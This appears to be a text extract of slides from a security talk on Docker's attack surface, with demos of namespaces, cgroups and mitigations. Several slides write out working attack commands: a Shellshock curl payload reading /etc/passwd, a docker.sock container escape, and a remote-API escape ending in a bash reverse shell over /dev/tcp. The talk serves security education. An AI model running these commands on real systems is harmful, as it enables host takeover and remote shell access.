The speaker discussed the docker attack surface. Furthermore, he demonstrated how an attacker can escape the docker container and gain access to the host machine.

1. Vaibhav Gupta
Twitter: @VaibhavGupta_1
Its all about Docker!

2. § About Docker – 1 min Primer
§ Cgroups & Namespaces – Quick Demo
§ Docker Attack Surface
1. Exploiting Vulnerable Images
2. Docker --privilege flag
3. Privilege Esc. Using Docker.Sock
4. Abusing Docker Remote API

3. § Docker is just way of running processes with limited privileges
§ DEMO
§ docker run -it ubuntu sh
§ ps aux | grep sleep

4. § Cgroups
§ docker run -itd --pids-limit 5 alpine
§ sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10
§ Namespaces (E.g. User Names)
§ vi /tmp/root-file.txt
§ docker run -itd -v /tmp:/shared alpine
§ Edit the file within container
§ Mitigation
§ sudo dockerd --userns-remap=default

5. DOCKER
ATTACK
SURFACE

6. • Vulnerable Images
• Container running with unintended
privileges
• Docker Daemon Misconfigurations
• Un-Auth Docker Client Remote API
• Misconfigured or Vulnerable Hosts
• Insecure Registry
• Backdoored Images
• ??

7. EXPLOITING
VULNERABLE
IMAGES
§ Sample Vulnerable App
§ docker run --rm -it -p 8080:80
vulnerables/cve-2014-6271
§ Exploitation
§ curl -H "user-agent: () { :; }; echo; echo;
/bin/bash -c 'cat /etc/passwd'"
http://vulnerable-server:8080/cgi-
bin/vulnerable

8. § Some Container require /var/run/docker.sock to be mounted on containers
§ It is required if docker container requires to interact with host
§ For e.g. – ‘Dockerized’ Host Monitoring Application
ü docker run -itd -v /var/run/docker.sock:/var/run/docker.sock alpine
ü docker exec -it <id> sh
ü apk update
ü apk add -U docker
ü docker -H unix:///var/run/docker.sock run -it -v /:/test:ro -t alpine sh

9. § Allows to interact with remote Docker Daemon
§ No authentication required - By Default
§ Lets gain shell!
ü sudo apt install jq
ü sudo vi /lib/systemd/system/docker.service
ü ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
ü sudo systemctl daemon-reload
ü sudo service docker restart
ü curl http://localhost:2375/containers/json | jq
ü docker -H tcp://localhost:2375 run --rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1"

10. § docker run -itd alpine
§ docker run --rm -it --cap-drop=NET_RAW alpine sh
§ ping 127.0.0.1 -c 2
§ Printing Capabilities: capsh --print

11. § https://docs.docker.com/engine/security/security/
§ https://docs.docker.com/engine/security/userns-remap/
§ https://securityboulevard.com/2019/02/abusing-docker-api-socket/

12. § Email:Vaibhav.Gupta @ owasp.org
§ Twitter: @VaibhavGupta_1
§ Blog: https://exploits.work